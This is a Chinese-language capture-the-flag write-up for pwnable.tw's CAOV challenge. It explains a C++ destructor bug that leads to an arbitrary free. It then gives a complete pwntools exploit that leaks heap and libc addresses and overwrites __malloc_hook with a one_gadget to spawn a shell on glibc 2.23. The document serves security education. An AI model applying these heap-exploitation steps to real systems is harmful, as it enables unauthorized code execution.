pwnable.tw CAOV writeup - C++ 析构漏洞

一道很难的pwn题,考的是C++的析构漏洞,光溢出点就非常难找,泄露也要精心构造heap才行,靶机环境是glibc-2.23。

原题地址:https://pwnable.tw/challenge/

源程序和相关文件下载:https://github.com/Ex-Origin/ctf-writeups/tree/master/pwnable_tw/caov

溢出点

class Data
{
    ...
        Data operator=(const Data &rhs)
        {
            key = new char[strlen(rhs.key)+1];
            strcpy(key, rhs.key);
            value = rhs.value;
            change_count = rhs.change_count;
            year  = rhs.year;
            month = rhs.month;
            day   = rhs.day;
            hour  = rhs.hour;
            min   = rhs.min;
            sec   = rhs.sec;
        }
    ...
};

Data Data::operator=函数中,原本Data::operator=是不需要返回值的,但是这里强行加上了返回值,这就导致该函数要返回一个完整的class Data,而class Data大小为0x30,所以编译器最终决定传入一个栈指针,这里原本并没有错。

让我们来看看IDA的反汇编代码:

void __cdecl edit()
{
  __int64 v0; // rax
  __int64 v1; // rax
  Data old; // [rsp+0h] [rbp-80h]
  Data v3; // [rsp+30h] [rbp-50h]
  unsigned __int64 v4; // [rsp+68h] [rbp-18h]

  v4 = __readfsqword(0x28u);
  Data::Data(&old);
  Data::operator=(&v3, &old, D);
  Data::~Data(&v3);
  Data::edit_data(D);
  v0 = std::operator<<<std::char_traits<char>>(&std::cout, "\nYour data info before editing:");
  std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
  Data::info(&old);
  v1 = std::operator<<<std::char_traits<char>>(&std::cout, "\nYour data info after editing:");
  std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
  Data::info(D);
  Data::~Data(&old);
}

由于编译器认为返回的class Data应该会在Data::operator=中运行构造函数,但是并没有,在看看Data::operator=函数,发现其并没有为返回值运行任何构造函数。

Data *__cdecl Data::operator=(Data *retstr, Data *const this, const Data *rhs)
{
  const Data *v3; // ST08_8
  size_t v4; // rax

  v3 = rhs;
  v4 = strlen(rhs->key);
  this->key = (char *)operator new[](v4 + 1);
  strcpy(this->key, v3->key);
  this->value = v3->value;
  this->change_count = v3->change_count;
  this->year = v3->year;
  this->month = v3->month;
  this->day = v3->day;
  this->hour = v3->hour;
  this->min = v3->min;
  this->sec = v3->sec;
  return retstr;
}

所以我们会得到一个未初始化,而且可能被污染的class Data(应为其在栈上)。而且其会立马调用析构函数就行销毁。

其析构函数如下:

~Data()
{
    delete[] key;
    key = nullptr;
    value = 0;
    change_count = 0;
    init_time();
}

综上所述,我们可以free任意地址

思路

这里我建议看了溢出点之后尽量自己根据溢出点写一遍,总是依赖别人而不去独立思考,这样自己将永远无法得到提高。

简单来说就是利用fastbin的单链表规则来泄露指针,得到heap地址,劫持Data *D这个chunk,然后泄露got地址,再劫持hook拿shell。

这里我们可以利用set_name函数来污染栈,设置我们想要的值。

void set_name()
{
    char tmp[160]={};
    char c;
    cout << "Enter your name: ";
    int cnt = 0;
    while(1)
    {
        int len = read(0, &c, 1);
        if(len != 1)
        {
            cout << "Read error" << endl;
            exit(-1);
        }
        tmp[cnt++] = c;
        if(c == '\n' || cnt == 150)
        {
            tmp[cnt-1] = '\0';
            break;            
        }
    }
    memcpy(name, tmp, cnt);
}

First: 先泄露heap地址。

程序中基本上所以地方都有null截断,想直接泄露信息是基本上不可能的,但是我们可以通过UAF来进行泄露heap地址信息。

name_addr = 0x6032C0
# name_addr = elf.symbols['name']

sh.sendlineafter('Enter your name: ', 'aa')
sh.sendlineafter('Please input a key: ', '\0' + 'b' * 0x36)
sh.sendlineafter('Please input a value: ', '1')

Edit(p64(0) + p64(0x21) + p64(0) + p64(0) + p64(0) + p64(0x21) + 'a' * 0x30 + p64(name_addr + 0x10), 0x17, 'a' + 'a' * 0x16)
Edit(p64(0) + p64(0x41) + p64(0) * 7 + p64(0x21) + 'c' * 0x10 + p64(name_addr + 0x10), 0, None)

sh.recvuntil('Your data info after editing:\nKey: ')
result = sh.recvline()[:-1]
heap_addr = u64(result.ljust(8, '\0'))
log.success('heap_addr: ' + hex(heap_addr))

原理是修改Data *D的key,使其指向全局变量name,在freename,则其会泄露同fastbin链上的chunk信息。

其调试结果如下:

pwndbg> p *D
$1 = {
  key = 0x6032d0 <name+16> "\220,*\001", 
  value = 1, 
  change_count = 1, 
  year = 2019, 
  month = 7, 
  day = 22, 
  hour = 19, 
  min = 18, 
  sec = 3
}
pwndbg> bin
fastbins
0x20: 0x12a2db0 ◂— 0x0
0x30: 0x0
0x40: 0x6032c0 (name) —▸ 0x12a2c90 ◂— 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x12a2dd0 —▸ 0x7f52877b0b78 (main_arena+88) ◂— 0x12a2dd0
smallbins
empty
largebins
empty

Second: 当我们泄露出heap地址信息是,就可以通过该信息计算出Data *D指向的地址,从而劫持这个chunk,然后更改key的值为got地址,从而泄露got地址以获得libc信息。

D_chunk_addr = heap_addr + 0x40

# pause()
Edit(p64(0) + p64(0x41) + p64(D_chunk_addr) + p64(0) * 6 + p64(0x21) + 'c' * 0x10 + p64(0) , 0x37, '\0')
# pause()
Edit(p64(0) + p64(0x41) + p64(D_chunk_addr) + p64(0) * 6 + p64(0x21) + 'c' * 0x10 + p64(0) , 0x37, p64(elf.got['setvbuf']))

sh.recvuntil('Your data info after editing:\nKey: ')
result = sh.recvline()[:-1]
libc_addr = u64(result.ljust(8, '\0')) - libc.symbols['setvbuf']
log.success('libc_addr: ' + hex(libc_addr))

main_arena_addr = libc_addr + libc.symbols['__malloc_hook'] + 0x10
log.success('main_arena_addr: ' + hex(main_arena_addr))

Third: 劫持hook,由于过程比较简单,我就不细说了。

Edit(p64(0) + p64(0x71) + 'x' * 0x50 + p64(name_addr + 0x10) + p64(0) + p64(0) + p64(21) , 0, None)
Edit(p64(0) + p64(0x71) + p64(main_arena_addr - 0x33) + 'x' * 0x48 + p64(0) + p64(0) + p64(0) + p64(21) , 0x67, '\0')

'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xef6c4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf0567 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''
# pause()
Edit('\0' * 150 , 0x67, 'z' * 0xb + p64(libc_addr + 0xef9f4) + p64(libc_addr +0xef6c4))

这里我特别强调一下最后一次set_name时,最好把栈全部刷新成\0,以提高one_gadget的成功几率。

脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

def clear(signum=None, stack=None):
    print('Strip  all debugging information')
    os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
    exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]: 
    signal.signal(sig, clear)

# Create a symbol file for GDB debugging
try:
    gdb_symbols = '''

    '''

    f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
    f.write(gdb_symbols)
    f.close()
    # os.system('gcc -g  -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so '.replace('{}', salt))
    # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
    print(e)

context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './caov'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
# sh = remote('chall.pwnable.tw', 10306)
elf = ELF(execve_file)
libc = ELF('./libc-2.23.so')

# Create temporary files for GDB debugging
try:
    gdbscript = '''

    '''

    f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    print(e)

def Edit(name, length, key):
    sh.sendlineafter('Your choice: ', '2')
    sh.sendlineafter('Enter your name: ', name)
    sh.sendlineafter('New key length: ', str(length))
    if(key):
        sh.sendlineafter('Key: ', key)
        sh.sendlineafter('Value: ', '1')

name_addr = 0x6032C0

sh.sendlineafter('Enter your name: ', 'aa')
sh.sendlineafter('Please input a key: ', '\0' + 'b' * 0x36)
sh.sendlineafter('Please input a value: ', '1')

Edit(p64(0) + p64(0x21) + p64(0) + p64(0) + p64(0) + p64(0x21) + 'a' * 0x30 + p64(name_addr + 0x10), 0x17, 'a' + 'a' * 0x16)
Edit(p64(0) + p64(0x41) + p64(0) * 7 + p64(0x21) + 'c' * 0x10 + p64(name_addr + 0x10), 0, None)

sh.recvuntil('Your data info after editing:\nKey: ')
result = sh.recvline()[:-1]
heap_addr = u64(result.ljust(8, '\0'))
log.success('heap_addr: ' + hex(heap_addr))

D_chunk_addr = heap_addr + 0x40

# pause()
Edit(p64(0) + p64(0x41) + p64(D_chunk_addr) + p64(0) * 6 + p64(0x21) + 'c' * 0x10 + p64(0) , 0x37, '\0')
# pause()
Edit(p64(0) + p64(0x41) + p64(D_chunk_addr) + p64(0) * 6 + p64(0x21) + 'c' * 0x10 + p64(0) , 0x37, p64(elf.got['setvbuf']))

sh.recvuntil('Your data info after editing:\nKey: ')
result = sh.recvline()[:-1]
libc_addr = u64(result.ljust(8, '\0')) - libc.symbols['setvbuf']
log.success('libc_addr: ' + hex(libc_addr))

main_arena_addr = libc_addr + libc.symbols['__malloc_hook'] + 0x10
log.success('main_arena_addr: ' + hex(main_arena_addr))

Edit(p64(0) + p64(0x71) + 'x' * 0x50 + p64(name_addr + 0x10) + p64(0) + p64(0) + p64(21) , 0, None)
Edit(p64(0) + p64(0x71) + p64(main_arena_addr - 0x33) + 'x' * 0x48 + p64(0) + p64(0) + p64(0) + p64(21) , 0x67, '\0')

'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xef6c4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf0567 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''
# pause()
Edit('\0' * 150 , 0x67, 'z' * 0xb + p64(libc_addr + 0xef9f4) + p64(libc_addr + 0xef6c4))

sh.interactive()
clear()